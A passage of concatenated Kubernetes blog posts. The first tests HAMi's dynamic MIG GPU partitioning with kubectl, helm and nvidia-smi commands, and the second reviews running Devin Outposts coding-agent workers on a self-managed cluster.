| --- | ---: | ---: | ---: | --- |
| `1g.24gb` | 24,192 | 25 | 1 | `(0,3)`, `(3,3)`, `(6,3)`, `(9,3)` |
| `2g.48gb` | 48,512 | 50 | 2 | `(0,6)`, `(6,6)` |
| `4g.96gb` | 97,408 | 100 | 4 | `(0,12)` |

[NVML reports each legal placement as `start` and `size`](https://docs.nvidia.com/deploy/nvml-api/structnvmlGpuInstancePlacement__t.html): `start` is the index of the first occupied memory slice, and `size` is the number of memory slices occupied. Together they describe the half-open interval `[start, start + size)`. On this RTX PRO 6000, the reported placement range was `[0,12)`; these values are not GiB and are specific to this GPU. Also, `size` is not the same thing as `sliceCount`: `1g.24gb` has `sliceCount: 1` but placement `size: 3` here.

The registered `count: 4` is a coarse maximum derived from the profiles. It does not mean every arbitrary combination of four profiles fits. The placement arrays and current occupancy determine real capacity.

## A repeatable CUDA workload

The test container repeatedly runs NVIDIA's `vectorAdd` sample and increments `/tmp/gpu-progress` after each successful run. That gives us a better health check than a sleeping container.

For readability, this Deployment combines the same workload template we used for the single-pod and packing tests. Save it as `mig-small-pack.yaml` and replace the node name if yours differs:

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mig-small-pack
  namespace: hami-mig-retest
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mig-small-pack
  template:
    metadata:
      labels:
        app: mig-small-pack
      annotations:
        nvidia.com/vgpu-mode: "mig"
        hami.io/gpu-scheduler-policy: "binpack"
    spec:
      schedulerName: hami-scheduler
      nodeSelector:
        kubernetes.io/hostname: utho-gpu-rtxpro6000-8-62383
      containers:
        - name: cuda
          image: nvcr.io/nvidia/k8s/cuda-sample:vectoradd-cuda12.5.0-ubuntu22.04
          imagePullPolicy: IfNotPresent
          command:
            - bash
            - -lc
            - |
              set -euo pipefail
              n=0
              echo 0 > /tmp/gpu-progress
              while true; do
                /cuda-samples/vectorAdd > /tmp/vectoradd.last 2>&1
                n=$((n + 1))
                echo "$n" > /tmp/gpu-progress.next
                mv /tmp/gpu-progress.next /tmp/gpu-progress
              done
          resources:
            limits:
              nvidia.com/gpu: 1
              nvidia.com/gpumem: 8000
```

Create the namespace, apply the workload, and wait for the pod to become ready:

```bash
kubectl create namespace hami-mig-retest
kubectl apply -f mig-small-pack.yaml
kubectl rollout status deployment/mig-small-pack \
  -n hami-mig-retest --timeout=180s

POD=$(kubectl get pods -n hami-mig-retest \
  -l app=mig-small-pack \
  -o jsonpath='{.items[0].metadata.name}')
```

## Test 1: 8,000 MiB becomes one `1g.24gb` instance

HAMi writes its controller-owned identity to `hami.io/vgpu-mig-allocations`. Users should inspect this annotation, but never create or edit it:

```bash
kubectl get pod "$POD" -n hami-mig-retest -o json |
jq '.metadata.annotations["hami.io/vgpu-mig-allocations"] | fromjson'
```

Our first allocation was:

```json
[
  {
    "containerIndex": 0,
    "deviceIndex": 0,
    "gpuUUID": "GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288",
    "profile": "1g.24gb",
    "placement": {"start": 9, "size": 3},
    "migUUID": "MIG-a5fa6120-f6fa-51b6-9820-a42112640629",
    "gpuInstanceID": 6,
    "computeInstanceID": 0
  }
]
```

The host and container agreed about the device:

```bash
# On the GPU node
nvidia-smi -L

# Through the container's device view
kubectl exec -n hami-mig-retest "$POD" -- nvidia-smi -L
```

Both showed one `1g.24gb` instance with UUID `MIG-a5fa...`. The placement happened to start at `9`; the first allocation is not required to start at `0`.

Finally, we verified that the CUDA loop was doing work:

```bash
before=$(kubectl exec -n hami-mig-retest "$POD" -- cat /tmp/gpu-progress)
sleep 3
after=$(kubectl exec -n hami-mig-retest "$POD" -- cat /tmp/gpu-progress)
printf 'before=%s after=%s\n' "$before" "$after"
test "$after" -gt "$before"
```

```text
before=75 after=77
```

## Test 2: four legal placements, then real saturation

Scale the same Deployment to four replicas:

```bash
kubectl scale deployment/mig-small-pack \
  -n hami-mig-retest --replicas=4
kubectl rollout status deployment/mig-small-pack \
  -n hami-mig-retest --timeout=180s
nvidia-smi -L
```

GPU 4 now contained four `1g.24gb` instances. The allocation annotations used all four legal starts:

```bash
kubectl get pods -n hami-mig-retest -l app=mig-small-pack -o json |
jq -r '
  ["PARENT_GPU", "PROFILE", "START", "SIZE"],
  (
    .items[]
    | (.metadata.annotations["hami.io/vgpu-mig-allocations"] | fromjson | .[0]) as $a
    | [$a.gpuUUID, $a.profile, ($a.placement.start | tostring), ($a.placement.size | tostring)]
  )
  | @tsv
'
```

```text
PARENT_GPU                                   PROFILE    START  SIZE
GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   0      3
GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   3      3
GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   6      3
GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   9      3
```

<figure class="blog-video">
  <video controls muted playsinline preload="metadata" aria-label="Four 1g.24gb MIG instances created on one RTX PRO 6000 GPU">
    <source src="/img/blog/dynamic-mig-in-kubernetes-with-hami/4mig.mp4" type="video/mp4" />
    Your browser does not support embedded MP4 video. You can <a href="/img/blog/dynamic-mig-in-kubernetes-with-hami/4mig.mp4">open the recording directly</a>.
  </video>
  <figcaption>Four pods fill the four legal <code>1g.24gb</code> placements on GPU 4.</figcaption>
</figure>

With only GPU 4 registered, scaling to five did **not** overcommit the card:

```bash
kubectl scale deployment/mig-small-pack \
  -n hami-mig-retest --replicas=5
kubectl get pods -n hami-mig-retest -o wide
```

Four pods remained `Running`; the fifth stayed `Pending` and unbound. Its event included:

```text
0/1 nodes are available: 1 1/1 CardTimeSlicingExhausted.
```

That inherited event label is misleading—the test did not use time slicing. Here it meant that no legal MIG placement remained on any registered GPU.

Scale back to four before the next test:

```bash
kubectl scale deployment/mig-small-pack \
  -n hami-mig-retest --replicas=4
```

## Test 3: Can mixed MIG profiles share one physical GPU?

The topology-aware implementation can place different profiles together whenever NVML reports legal, non-overlapping placements.

<figure class="blog-video">
  <video controls muted playsinline preload="metadata" aria-label="Live HAMi Dynamic MIG test with 8000 MiB and 30000 MiB pod requests on one RTX PRO 6000 GPU">
    <source src="/img/blog/dynamic-mig-in-kubernetes-with-hami/mixed-profiles-lifecycle.mp4" type="video/mp4" />
    Your browser does not support embedded MP4 video. You can <a href="/img/blog/dynamic-mig-in-kubernetes-with-hami/mixed-profiles-lifecycle.mp4">open the recording directly</a>.
  </video>
  <figcaption>A live terminal recording: requests for 8,000 MiB and 30,000 MiB become <code>1g.24gb</code> and <code>2g.48gb</code> instances on the same GPU. Each instance is reclaimed when its requesting pod is deleted; the recording is shown at 2.5&times; speed to shorten the waits.</figcaption>
</figure>

We cleared the small-pod Deployment, then created an 8,000 MiB pod and a 30,000 MiB pod. Both used the same CUDA loop and were pinned to GPU 4 with `nvidia.com/use-gpuuuid` so the test measured one physical card:

```bash
kubectl scale deployment/mig-small-pack \
  -n hami-mig-retest --replicas=0
kubectl wait -n hami-mig-retest \
  --for=delete pod -l app=mig-small-pack --timeout=180s
```

This Bash helper creates the same pod twice; only its name and memory request change:

```bash
export GPU4=GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288

create_mig_pod() {
  local name="$1"
  local memory="$2"

  kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ${name}
  namespace: hami-mig-retest
  annotations:
    nvidia.com/vgpu-mode: "mig"
    hami.io/gpu-scheduler-policy: "binpack"
    nvidia.com/use-gpuuuid: "${GPU4}"
spec:
  schedulerName: hami-scheduler
  nodeSelector:
    kubernetes.io/hostname: ${NODE}
  containers:
    - name: cuda
      image: nvcr.io/nvidia/k8s/cuda-sample:vectoradd-cuda12.5.0-ubuntu22.04
      imagePullPolicy: IfNotPresent
      command:
        - bash
        - -lc
        - |
          set -euo pipefail
          n=0
          echo 0 > /tmp/gpu-progress
          while true; do
            /cuda-samples/vectorAdd > /tmp/vectoradd.last 2>&1
            n=\$((n + 1))
            echo "\$n" > /tmp/gpu-progress.next
            mv /tmp/gpu-progress.next /tmp/gpu-progress
          done
      resources:
        limits:
          nvidia.com/gpu: 1
          nvidia.com/gpumem: ${memory}
EOF
}

create_mig_pod mixed-small 8000
create_mig_pod mixed-large 30000

kubectl wait -n hami-mig-retest --for=condition=Ready \
  pod/mixed-small pod/mixed-large --timeout=180s
```

We inspected the controller-owned allocation records with:

```bash
kubectl get pods mixed-small mixed-large -n hami-mig-retest -o json |
jq -r '
  ["POD", "PROFILE", "START", "SIZE", "MIG_UUID", "GI", "CI"],
  (
    .items
    | sort_by(.metadata.name)[]
    | . as $pod
    | ($pod.metadata.annotations["hami.io/vgpu-mig-allocations"] | fromjson | .[0]) as $a
    | [
        $pod.metadata.name,
        $a.profile,
        ($a.placement.start | tostring),
        ($a.placement.size | tostring),
        $a.migUUID,
        ($a.gpuInstanceID | tostring),
        ($a.computeInstanceID | tostring)
      ]
  )
  | @tsv
'
```

The live allocation table was:

```text
POD          PROFILE    START  SIZE  MIG_UUID                                      GI  CI
mixed-large  2g.48gb    0      6     MIG-b23491d8-d784-58d9-bcfa-3c171ead22da      1   0
mixed-small  1g.24gb    9      3     MIG-a5fa6120-f6fa-51b6-9820-a42112640629      6   0
```

The intervals `[0,6)` and `[9,12)` do not overlap, so both profiles could coexist. `nvidia-smi -L` showed one `2g.48gb` and one `1g.24gb` instance under GPU 4.

Both CUDA loops advanced during the same three-second window:

```text
small: 64 -> 67
large: 37 -> 39
PASS: both mixed-profile CUDA workloads progressed
```

## Test 4: Does HAMi reclaim only the deleted pod's MIG instance?

Before deleting the small pod, we recorded the large pod's progress. Then we deleted only `mixed-small` and polled the host until its `1g.24gb` instance disappeared:

```bash
large_before=$(kubectl exec -n hami-mig-retest mixed-large -- \
  cat /tmp/gpu-progress)

kubectl delete pod mixed-small -n hami-mig-retest

# Reclamation is asynchronous; poll instead of assuming delete is instant.
watch -n 1 nvidia-smi -L
```

The host retained only:

```text
MIG 2g.48gb Device 0: (UUID: MIG-b23491d8-d784-58d9-bcfa-3c171ead22da)
```

The neighboring CUDA workload continued:

```text
large: 61 -> 94
PASS: 2g workload survived 1g reclamation
```

We produced that check with:

```bash
large_after=$(kubectl exec -n hami-mig-retest mixed-large -- \
  cat /tmp/gpu-progress)
printf 'large: %s -> %s\n' "$large_before" "$large_after"
test "$large_after" -gt "$large_before" \
  && echo 'PASS: 2g workload survived 1g reclamation'
```

HAMi does not synchronously destroy the instance inside the `kubectl delete` call. Its annotation reconciler notices that the reservation is no longer active and removes the tracked CI and GI shortly afterward.

We also recreated a `1g.24gb` instance at the freed placement. On this GPU and driver, it received the same `MIG-a5fa...` UUID. The UUID's observed disappearance proved reclamation; its later reappearance proved placement reuse. A MIG UUID is not a generation counter, so do not require a different UUID as proof of recreation.

## Test 5: Does a live allocation survive a HAMi device-plugin restart?

This is an advanced and disruptive controller test, not a normal workload step. We kept `mixed-large` active, recorded its progress and MIG UUID, then replaced the device-plugin pod:

```bash
OLD_DP_POD=$(kubectl get pods -n hami-system \
  -l app.kubernetes.io/component=hami-device-plugin \
  -o jsonpath='{.items[0].metadata.name}')

progress_before=$(kubectl exec -n hami-mig-retest mixed-large -- \
  cat /tmp/gpu-progress)

kubectl delete pod "$OLD_DP_POD" -n hami-system
kubectl rollout status daemonset/hami-device-plugin \
  -n hami-system --timeout=180s
```

The replacement plugin logged:

```text
mig init: resolved startup layout inUseGPUs=[4] resetGPUs=[0,1,2,3,5,6,7]
```

With a complete runtime allocation annotation, it classified GPU 4 as in use, left that card untouched during startup cleanup, verified the live profile and identity through NVML, and adopted the allocation.

The same `2g.48gb` UUID remained, and the workload continued:

```text
progress: 115 -> 187
PASS: MIG UUID and CUDA workload survived device-plugin restart
```

The verification checked both the device and the progress counter:

```bash
nvidia-smi -L | grep -F 'MIG-b23491d8-d784-58d9-bcfa-3c171ead22da'

progress_after=$(kubectl exec -n hami-mig-retest mixed-large -- \
  cat /tmp/gpu-progress)
printf 'progress: %s -> %s\n' "$progress_before" "$progress_after"
test "$progress_after" -gt "$progress_before"
```

This proves the tested happy path for a valid annotation. It is not a guarantee that incomplete or malformed state can always be adopted.

> **Node-wide safety warning:** `filterdevices` limits HAMi registration and scheduling, but at this commit it does not limit Dynamic MIG startup cleanup. The log shows that startup reconciled all eight physical GPUs, including filtered ones. Inventory and drain the entire node before the first install or a plugin restart; filtering a GPU is not a protection boundary.

## Test 6: What happens when one GPU's legal MIG placements are full?

After deleting the mixed-profile workload and confirming no MIG instances remained, we changed the exclusion list from:

```bash
kubectl delete pod mixed-large -n hami-mig-retest

until ! nvidia-smi -L | grep -q '^  MIG '; do
  sleep 2
done
```

```json
"index": [0, 1, 2, 3, 5, 6, 7]
```

to:

```json
"index": [0, 1, 2, 3, 6, 7]
```

That made GPUs 4 and 5 available to HAMi. We applied the values and explicitly restarted the plugin only after confirming the whole node was idle:

```bash
helm upgrade hami "$LAB/HAMi/charts/hami" \
  -n hami-system \
  --reset-values \
  -f "$LAB/hami-current-mig-values.yaml" \
  --wait \
  --timeout 10m

# This configuration change did not trigger a plugin rollout by itself.
kubectl rollout restart daemonset/hami-device-plugin -n hami-system
kubectl rollout status daemonset/hami-device-plugin \
  -n hami-system --timeout=180s
```

This revealed a chart behavior worth knowing: Helm successfully updated the node-configuration ConfigMap, but the DaemonSet template did not checksum that ConfigMap. Registration stayed unchanged until we restarted the plugin.

The node then registered GPUs 4 and 5 in MIG mode. Scaling the small-pod Deployment to five produced this real distribution:

```bash
kubectl scale deployment/mig-small-pack \
  -n hami-mig-retest --replicas=5
kubectl rollout status deployment/mig-small-pack \
  -n hami-mig-retest --timeout=180s

kubectl get pods -n hami-mig-retest -l app=mig-small-pack -o json |
jq -r '
  ["POD", "PARENT_GPU", "PROFILE", "START", "MIG_UUID"],
  (
    .items
    | sort_by(.metadata.name)[]
    | . as $pod
    | ($pod.metadata.annotations["hami.io/vgpu-mig-allocations"] | fromjson | .[0]) as $a
    | [
        $pod.metadata.name,
        $a.gpuUUID,
        $a.profile,
        ($a.placement.start | tostring),
        $a.migUUID
      ]
  )
  | @tsv
'
```

```text
POD                               PARENT_GPU                                   PROFILE    START
mig-small-pack-6f5b7bd7b-dwld2    GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   3
mig-small-pack-6f5b7bd7b-g72fd    GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   0
mig-small-pack-6f5b7bd7b-jgql2    GPU-04dc48d7-7048-aef5-ad36-f5db716e7668   1g.24gb   9
mig-small-pack-6f5b7bd7b-rlxbn    GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   9
mig-small-pack-6f5b7bd7b-vjfv9    GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288   1g.24gb   6
```

GPU 4 held all four legal `1g.24gb` placements. The fifth pod received a legal placement on GPU 5. Again, its first placement happened to start at `9`; HAMi does not promise to allocate starts in numerical order.

## Cleanup and final state

We deleted the test namespace and waited for all per-pod MIG instances to be reclaimed:

```bash
kubectl delete namespace hami-mig-retest \
  --wait=true --timeout=180s

if nvidia-smi -L | grep -q '^  MIG '; then
  echo 'FAIL: MIG instances remain'
  nvidia-smi -L
else
  echo 'PASS: no MIG instances remain'
fi
```

Then we restored the original exclusion list, applied the values, and performed the same safe plugin restart. The final verification was:

```bash
printf 'Registered GPU indices: '
kubectl get node "$NODE" -o json |
jq -r '
  .metadata.annotations["hami.io/node-nvidia-register"]
  | fromjson
  | map(.index)
  | join(",")
'

if nvidia-smi -L | grep -q '^  MIG '; then
  echo 'MIG state: FAIL — instances remain'
else
  echo 'MIG state: PASS — no instances remain'
fi

kubectl get pods -n hami-system
```

```text
Registered GPU indices: 4
MIG state: PASS — no instances remain
NAME                              READY   STATUS    RESTARTS
hami-device-plugin-6snlc          2/2     Running   0
hami-scheduler-74fbfcfbb5-qxftm   2/2     Running   0
```

That left the lab in its intended baseline: only GPU 4 registered with HAMi, no test MIG instances, and both HAMi components healthy.

## Operational traps we hit

### Chart metadata is not the runtime version

At the tested commit, the chart still defaults to `v2.9.0`. Pin and inspect the live images for the scheduler extender, device plugin, and monitor. Do not publish `latest`, and do not rely on Helm's app-version label.

### `operatingmode` is not `migStrategy`

Use per-node `operatingmode: "mig"` for HAMi Dynamic MIG. Keep the Helm-level `devicePlugin.migStrategy` decision separate; changing only the similarly named field inside the JSON is not how this chart controls the NVIDIA plugin flag.

### `filterdevices` excludes registration, not startup mutation

The exclusion list controls which GPUs HAMi advertises for scheduling. It does not isolate the other physical cards from startup reconciliation. Treat first installation and plugin restart as node-wide maintenance at this commit.

### A Helm upgrade may not restart the device plugin

Changing `devicePlugin.nodeConfiguration.config` updated the ConfigMap but did not roll the DaemonSet in our test. Restart it deliberately, only after the node-wide safety check, then verify the registration annotation rather than trusting Helm's success message.

### Scheduler events can use inherited language

`CardTimeSlicingExhausted` described exhausted MIG placements in this run; it did not mean HAMi silently switched to time slicing. Confirm the allocation annotation and host MIG state before interpreting a generic reason string.

### Reclamation is eventual, and UUIDs may be reused

Poll the actual host state after pod deletion. The same placement can return the same MIG UUID, so disappearance between deletion and recreation is stronger lifecycle evidence than UUID inequality.

### Legal placement still controls mixed profiles

Dynamic does not mean arbitrary. The scheduler can combine profiles only when their NVML placement intervals do not overlap, and active instances cannot be destroyed just to satisfy a new request.

### Homogeneous success is not a heterogeneous-node guarantee

This node contained eight identical supported GPUs. Test mixed-model nodes separately; do not assume that filtering unsupported cards reproduces the same startup behavior.

## Conclusion

Topology-aware Dynamic MIG kept the Kubernetes API simple while making the hardware lifecycle precise. An 8,000 MiB request selected `1g.24gb`; four legal placements filled GPU 4; a fifth pod used GPU 5; and `1g.24gb` plus `2g.48gb` occupied legal mixed placements on the same card.

The most useful result was not just allocation. HAMi reclaimed the small pod's exact GI/CI while its neighbor kept computing, and a valid allocation survived device-plugin restart and adoption. Those are the behaviors a dynamic controller needs to prove.

The caveats are equally important. Profile rounding and NVIDIA placement rules remain. Version alignment must be verified from live images. At this snapshot, plugin startup has a node-wide hardware scope even when only one GPU is registered, so controlled installation and restart procedures are mandatory.

HAMi is a [CNCF Incubating project](https://www.cncf.io/projects/hami/). Its source is at [github.com/Project-HAMi/HAMi](https://github.com/Project-HAMi/HAMi). Existing installations can use the [pinned Dynamic MIG migration guide](https://github.com/Project-HAMi/HAMi/blob/634bf2b32e68e07d3fbcbd6da1ee079392fc07c1/docs/develop/dynamic-mig-migration.md) when moving to this per-pod implementation.

If you are joining the series here, read the [static MIG deep dive](/blog/slicing-gpus-in-kubernetes-with-nvidia-mig) and the [HAMi software vGPU guide](/blog/sharing-gpus-in-kubernetes-with-hami) first.

---

# Devin Outposts on Kubernetes: Why Your AI Agent Needs Your Cluster

- Canonical: https://blog.kubesimplify.com/devin-outposts-on-kubernetes
- Published: 2026-08-10
- Summary: Devin Outposts runs AI coding agent sessions as pods on your own Kubernetes cluster, with an open-source operator to manage the fleet.

Ask a cloud coding agent to fix the bug that only reproduces against your staging database, and watch it fail in the most useless way possible: not loudly, but blindly.

It clones your repo fine. Then `pip install` times out: your packages live on an internal Artifactory mirror. `docker build` fails: your base images are in a private Harbor registry. The integration tests can't run, because staging Postgres is a ClusterIP service with no public endpoint, and your security team is never going to IP-allowlist a SaaS vendor into it.

The agent can still *edit* code. But it can't **verify** anything. And an agent that can't run the tests is just a very confident PR generator. The whole value of an autonomous agent is the run-fail-fix loop, and that loop dies at your firewall.

On July 21, Cognition shipped their answer: [Devin Outposts](https://devin.ai/blog/introducing-devin-outposts). Their tagline is honest about the direction of travel: *"Some work can't come to the cloud, so we're bringing Devin to it."*

And the part that made me sit up: they didn't just publish an API. They shipped an [open-source Kubernetes operator](https://github.com/CognitionAI/devin-outpost-k8s). I've been running it since launch week, first on kind, then on a two-node cluster running inside Apple Containers on my Mac (using [kiac](https://github.com/saiyam1814/kiac)). I want to walk you through what it actually is, because the architecture is genuinely clever and the Kubernetes fit is not an accident.

## What runs where (read this twice, it's the whole concept)

Outposts does **not** self-host Devin. There is no model on your machines, no GPU requirement, no weights. The split is:

| Component | Runs where | What it does |
| --- | --- | --- |
| Brain: model, inference, planning, session UI | Cognition's cloud, always | Decides *what* to do next |
| Operator (one tiny pod) | Your cluster, always on | Watches the queue, claims sessions, creates worker pods |
| Worker (one pod per active session) | Your cluster, only while a session runs | The computer Devin types on: shell, filesystem, git, your network position |

A session is a ping-pong over a single outbound HTTPS/websocket connection: the brain says "run `pytest`", the worker pod runs it, the traceback streams back up, the model reads it, decides the fix, sends the next command. Your cluster never thinks. The cloud never executes. No inbound ports, no VPN, no public IPs: workers only dial out.

The mental model that clicks for anyone who runs Kubernetes: **self-hosted CI runners, except the pipeline isn't static YAML; it's a model deciding the next step from the last output.** You already operate this exact pattern for GitLab or GitHub Actions runners.

One honest caveat before we go further: the code context the agent reads still goes up to the model in the cloud. What stays home is *execution*: your secrets, your network access, your build artifacts, your hardware. If you need the model itself inside your walls, this isn't that product.

## The use case, end to end

Here's the workflow that justifies the whole feature. Say your team wants Devin to burn down 15 boring backlog tickets overnight (dependency bumps, a flaky test, a deprecated API migration) and, like every real company, your builds need internal infrastructure.

**Once:** create an outpost (a named queue) in Devin Cloud, install the operator in your cluster, and apply an `OutpostPool`, the CRD that binds queue to pod template. Mount your deploy keys and registry creds as Secrets in the worker template, cap it with `maxConcurrentSessions: 10`.

**Per ticket, zero new steps:** a dev (or a schedule, or the API) starts a session in Devin Cloud and picks the outpost as the machine; it shows up in the UI right next to Ubuntu and Windows. Then:

1. The session enters your outpost's queue.
2. The operator, watching the queue over the API, atomically claims it and creates a worker pod from your template.
3. The pod dials out to Devin's cloud and starts executing tool calls: `git clone` (deploy key from your Secret), `pip install` (hits your internal mirror, since it's inside your network), `pytest` (reaches staging Postgres over ClusterIP, same reason).
4. Tests fail, traceback streams up, model edits, tests rerun. The verify loop is *alive* because execution sits next to your services.
5. Devin pushes the branch and opens the PR. Session ends. **The operator deletes the pod.**

Fifteen tickets means up to ten concurrent pods, bin-packed by your scheduler, autoscaler adding a node for the overnight burst. In the morning: fifteen *tested* PRs and a cluster that's back to one 50-millicore operator pod. Devin's announcement lists the same pattern for GPU boxes (debug the training run where it crashed, with the real drivers and dataset) and Mac minis (Xcode builds, Devin building iOS apps end to end), but the internal-network case is the one I think most teams feel weekly.

## Why Kubernetes is the natural home for this

You can serve an outpost from any box with `devin worker start`: a VM, even your laptop. But look at what the docs recommend for security: only give the agent sudo on machines *"dedicated to Devin and recycled after each session."*

A long-lived VM is exactly not that. Sessions serially share an increasingly dirty machine; ticket 3's leftover `node_modules` pollutes ticket 9's build; one wedged process stalls the queue behind it.

A pod, though? A pod **is** "dedicated and recycled after each session" *by construction*. Fresh sandbox on claim, deleted on termination. Add `runtimeClassName: gvisor`, an egress NetworkPolicy ("agents may reach staging, never prod"), resource limits so a runaway build can't starve the cluster, and a dedicated node pool. All standard Kubernetes machinery, all applying to AI agents now because the agent is just a pod.

Cognition clearly knows this, because their fleet API is Kubernetes-shaped to a suspicious degree: queue entries are `metadata`/`spec`/`status` objects, you page with cursors then watch via SSE ("the standard Kubernetes-style list-then-watch pattern", as their own docs put it), delivery is at-least-once, and claims are an atomic compare-and-swap where losing the race is normal operation. Claims expire on a server deadline, so a dead worker's session self-heals back into the queue with no fleet-level health tracking. This is a reconciliation loop. Someone at Cognition writes controllers for a living.

The operator (`devin-outpost-k8s`, Rust, MIT) packages that loop with one CRD:

```yaml
apiVersion: outposts.cognition.com/v1alpha1
kind: OutpostPool
metadata:
  name: kiac
spec:
  poolId: "outpost_env-3a1abb1c2bb84512ad9aedb3ca0bf411"
  tokenSecretRef:
    name: kiac-pool-token
    key: token
  maxConcurrentSessions: 2
  resume:
    policy: StartFresh        # or FilesystemSnapshot / GkeSnapshot
  worker:
    template:                 # a real PodTemplateSpec, anything goes
      spec:
        containers:
          - name: devin-worker
            resources:
              requests: { cpu: "500m", memory: 1Gi }
              limits:   { cpu: "2",    memory: 2Gi }
```

Nice touches: the worker pod is assembled in three layers (your template, then the operator's managed fields, then your explicit overrides get the final say), so one operator serves heterogeneous pools: a GPU pool next to a general pool on spot nodes. Resume policies handle Devin's suspend/resume on ephemeral infra: `StartFresh` anywhere, `FilesystemSnapshot` keeps a per-session PVC, `GkeSnapshot` checkpoints the whole pod on GKE. Plus leader election, Prometheus metrics, a Helm chart, multi-arch images.

## I ran it on Kubernetes inside Apple Containers

To prove the "any certified cluster" claim, I deployed it on my most exotic cluster: **kiac**, Kubernetes running in Apple Containers on a Mac, two arm64 Debian nodes on containerd.

The account side takes a minute: Settings → Environment → Outposts. I ended up with two: `myhome` (macOS, for a worker running directly on the Mac) and `kiac` (Linux, served by the operator on the cluster). Platform matters here, more on that below.

![Devin Cloud outposts settings showing the myhome macOS outpost and the kiac Linux outpost](/img/blog/devin-outposts-on-kubernetes/outposts-settings.png)

```bash
helm install outposts charts/devin-outposts-k8s -n devin-outposts --create-namespace
kubectl -n devin-outposts create secret generic kiac-pool-token --from-literal=token=$TOKEN
kubectl -n devin-outposts apply -f outpostpool.yaml
```

Thirty seconds later:

```
$ kubectl -n devin-outposts get opool
NAME   POOL                                           PHASE   CLAIMED   AGE
kiac   outpost_env-3a1abb1c2bb84512ad9aedb3ca0bf411   Ready   0         29s
```

`Ready` means the operator is authenticated against the real API and watching the queue. On the other side, your cluster now literally appears as a machine option when starting a session, in the same menu as Ubuntu and Windows:

![Devin's virtual environment picker showing the kiac outpost selected alongside the hosted Ubuntu and Windows machines](/img/blog/devin-outposts-on-kubernetes/virtual-env-picker.png)

Start a session with the outpost selected, and a worker pod appears in `kubectl get pods -w`.

### A bug, a workaround, and a quiet fix

Not everything was smooth: at launch, my arm64 nodes crash-looped with `Error: no published devin-remote binary for linux-aarch64`, even though the arm64 binaries were published; the CLI just lacked the platform mapping. I built a small workaround, kept it in [saiyam1814/devin-outposts-arm64](https://github.com/saiyam1814/devin-outposts-arm64), and reported it upstream in [devin-outpost-k8s#2](https://github.com/CognitionAI/devin-outpost-k8s/issues/2). Today I see it fixed in the stock CLI, which is nice to see. Everything below runs the stock image with zero overrides.

### The money shot

I had deployed a ClusterIP-only service (`inventory.demo.svc`, no ingress, no LoadBalancer, invisible to the internet) and prompted:

> Curl http://inventory.demo.svc/api/items and write SERVICE.md documenting what this service returns.

The worker pod went `Pending → ContainerCreating → Running` in under a second (pre-pulled image). Devin itself was skeptical ("that URL is a cluster-internal Kubernetes service name, so it may not resolve from my VM; I'll report what I get") and then it resolved anyway, because the agent's "VM" is a pod inside the cluster. Even better: the stock worker image ships without `curl`, so Devin improvised and probed the service over bash's raw `/dev/tcp` instead. Thirty-five seconds of work later, SERVICE.md existed:

![The finished Devin session documenting the internal inventory service, with SERVICE.md open beside the conversation](/img/blog/devin-outposts-on-kubernetes/session-result.png)

And it's *good*: the ClusterIP and cluster DNS name, the nginx version read from response headers, a field table for the JSON schema, endpoint probes I never asked for (`/healthz` → 200; it even tried `/api/items/K8S-001` to prove there's no per-item route), and the deadpan observation that the 151-byte response "looks like a fixed demo dataset rather than live inventory." Busted, fair enough. An agent whose brain never entered my network produced accurate documentation of a service that does not exist on the internet. That's the product.

More field notes from actually doing this:

- **Outpost platform must match the worker OS.** I first created my outpost as macOS (it was for my Mac); Linux pods can't serve it. Create a separate Linux outpost for your cluster: `devin worker outpost create kiac --platform linux`.
- **Size worker requests for your nodes.** My first pod sat Pending: 1Gi requests didn't fit a 2Gi node, and the roomier control-plane node was tainted. Both fixes go in the same `worker.template`: smaller requests plus a toleration. The three-layer template earns its keep fast.
- **The token is shown exactly once** at outpost creation, and it carries account-level scopes. Straight into a Secret manager, never into git.
- **Pre-pull the worker image** (`public.ecr.aws/e0h8a4b6/devin-cli:stable`) on your nodes unless you enjoy watching ImagePullBackOff instead of an AI agent.
- The queue lists outposts at `GET /opbeta/outposts`, one path segment less than the docs currently claim.

## Should you use it?

Credit to Cognition for being unusually honest here: their own announcement recommends managed hosting for most customers and says Outposts' operational complexity is "comparable to a VPC deployment." Outposts is for teams that *must* run execution on their own machines or network, and that already know how to operate ephemeral workloads securely at scale.

Which is exactly the job description of a platform team with a Kubernetes cluster. Provisioning, isolation, capacity, monitoring, recycling: the operator maps every one of those onto primitives your cluster already has. Also note: Outposts currently works with multi-tenant Devin hosting only, not Dedicated Tenant deployments.

## Agents are becoming a workload type

Step back and look at the launch: the partner list is the sandbox-infrastructure crowd (Modal, E2B, Daytona, Cloudflare, NVIDIA Brev, Namespace), but the only orchestrator Cognition open-sourced themselves targets Kubernetes. When an AI lab needed to express "run untrusted, bursty, ephemeral compute on customer infrastructure," they reached for a CRD, a controller, and a PodTemplateSpec.

First it was microservices, then CI, then ML training. Now agent execution is becoming a Kubernetes workload type: queued, scheduled, sandboxed, metered, garbage-collected. Your cluster already knew how to do all of that. As of this launch, one of the most capable coding agents in the world can take advantage of it.

Next question, and the one I'd think about before rolling this out for real: what happens when five teams each want their own agent pool on shared clusters? Namespaces, quotas, dedicated node pools, virtual clusters. That isolation story is a post of its own. Watch this space.

---

*Sources: [announcement](https://devin.ai/blog/introducing-devin-outposts) · [Outposts docs](https://docs.devin.ai/cloud/outposts/overview) · [quickstart](https://docs.devin.ai/cloud/outposts/quickstart) · [orchestration](https://docs.devin.ai/cloud/outposts/orchestration) · [reference](https://docs.devin.ai/cloud/outposts/reference) · [devin-outpost-k8s](https://github.com/CognitionAI/devin-outpost-k8s)*

---

# How to Share GPUs in Kubernetes at Scale with HAMi (Software vGPU Slicing)

- Canonical: https://blog.kubesimplify.com/sharing-gpus-in-kubernetes-with-hami
- Published: 2026-07-23
